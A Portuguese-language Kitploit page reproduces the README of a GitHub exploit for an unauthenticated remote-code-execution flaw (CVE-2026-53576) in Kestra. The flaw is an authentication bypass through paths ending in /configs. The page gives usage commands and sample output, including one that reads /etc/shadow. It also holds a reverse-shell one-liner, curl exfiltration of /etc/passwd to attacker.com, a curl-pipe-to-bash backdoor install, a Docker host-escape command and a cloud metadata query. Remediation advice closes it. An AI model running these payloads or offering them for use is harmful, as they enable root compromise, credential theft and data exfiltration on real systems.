Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-53576 — Kestra Exploit de RCE Não Autenticado (CVE-2026-53576) | Kitploit
Ferramentas/GitHubGitHub/tamatahyt/cve-2026-53576
Autenticação e AutorizaçãoEscalada de PrivilégiosExploraçãoExploração de Aplicações WebExfiltração de DadosPós-ExploraçãoTestes de PenetraçãoRed TeamingDesenvolvimento de PayloadsEscape de Contêiner
GitHub
35há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
tamatahyt/cve-2026-53576

CVE-2026-53576

Kestra Exploit de RCE Não Autenticado (CVE-2026-53576)

Ver Repositório

Exploit de RCE Não Autenticado no Kestra (CVE-2026-53576)

Python License Security Kestra

Bypass crítico de autenticação que leva à Execução Remota de Código não autenticada

Exploit • Detalhes da Vulnerabilidade • Impacto • Remediação


⚠️ AVISO LEGAL

Esta ferramenta destina-se apenas a fins educacionais e de testes de segurança autorizados.

  • NÃO a utilize contra sistemas que você não possui ou para os quais não tenha autorização explícita por escrito para testar.
  • NÃO a utilize para atividades ilegais.
  • O autor NÃO é responsável por qualquer uso indevido desta ferramenta.
  • Use por sua CONTA E RISCO.

📋 Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Uso do Exploit
  • Instalação
  • Exemplos
  • Impacto
  • Remediação
  • Linha do Tempo
  • Referências
  • Licença

🔍 Visão Geral

CVE-2026-53576 é uma vulnerabilidade crítica nas versões do Kestra OSS até v1.3.20 que permite execução remota de código não autenticada por meio de um bypass no filtro de autenticação.

Principais Detalhes

AtributoValor
ID do CVECVE-2026-53576
GravidadeCrítica (9.8 CVSS)
Tipo de VulnerabilidadeBypass de Autenticação + RCE
Produto AfetadoKestra OSS
Versões Afetadas≤ v1.3.20
Vetor de AtaqueRede
Autenticação NecessáriaNenhuma
Interação do UsuárioNenhuma

🚨 Detalhes da Vulnerabilidade

Causa Raiz

O filtro de autenticação no Kestra contém uma falha crítica de lógica:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

Essa verificação testa se qualquer requisição à API termina com /configs, em vez de corresponder à rota exata. Isso permite que atacantes contornem a autenticação anexando /configs a qualquer endpoint.

Etapas de Exploração

  1. Criar fluxo malicioso → POST /api/v1/main/flows/configs (contorna a autenticação)
  2. Disparar execução → POST /api/v1/main/executions/configs/configs (contorna a autenticação)
  3. Comandos executados como root → Comprometimento total do sistema

Endpoints Vulneráveis

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Uso do Exploit

Uso Básico

python3 kestra_exploit.py <target_ip>

Uso Avançado

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Opções de Comando

OpçãoDescrição
targetEndereço IP ou hostname do alvo (obrigatório)
-p, --portPorta (padrão: 8080)
--httpsUsar HTTPS em vez de HTTP
-c, --commandComando personalizado a ser executado
--docker-checkVerificar acesso ao socket do Docker
--cleanupExcluir o fluxo após a exploração
--delayAtraso entre requisições (padrão: 2s)

📦 Instalação

Requisitos

pip install requests

Clonar Repositório

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Verificar Instalação

python3 kestra_exploit.py --help

🎯 Exemplos

Exemplo 1: Exploração Básica

python3 kestra_exploit.py 192.168.1.100

Saída:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Exemplo 2: Shell Reverso

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Exemplo 3: Exfiltração de Dados

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Exemplo 4: Verificação de Fuga do Docker

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Impacto

Impacto Direto

CategoriaGravidadeDescrição
Confidencialidade⚠️ CríticaLer qualquer arquivo (senhas, segredos, configurações)
Integridade⚠️ CríticaCriar/modificar/excluir fluxos e dados
Disponibilidade⚠️ AltaDesligar o sistema, esgotamento de recursos
Autenticação⚠️ CríticaBypass completo do Basic-Auth
Escalação de Privilégios⚠️ CríticaComandos executados como root (uid=0)
Fuga do Contêiner⚠️ CríticaComprometimento do host via socket do Docker

Capacidades de Ataque

Um atacante não autenticado pode:

  1. Executar comandos arbitrários como root:

    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. Fazer pivô para o sistema host (se o socket do Docker estiver montado):

    docker run -v /:/host --privileged alpine chroot /host
    
  3. Acessar metadados da nuvem (se estiver em provedor de nuvem):

    curl http://169.254.169.254/latest/meta-data/
    

🛡️ Remediação

Ações Imediatas

  1. Desligar instâncias vulneráveis:

    sudo systemctl stop kestra
    
  2. Bloquear acesso público:

    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. Aplicar regras de firewall:

    • Restringir a redes internas
    • Usar VPN para acesso administrativo

Correção Definitiva

  1. Atualizar o Kestra para a versão corrigida mais recente:

    • Monitorar: https://github.com/kestra-io/kestra
    • Verificar: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  2. Implementar autenticação adequada:

    • Usar OAuth2/OIDC em vez de Basic Auth
    • Habilitar autenticação multifator
Baixar ferramenta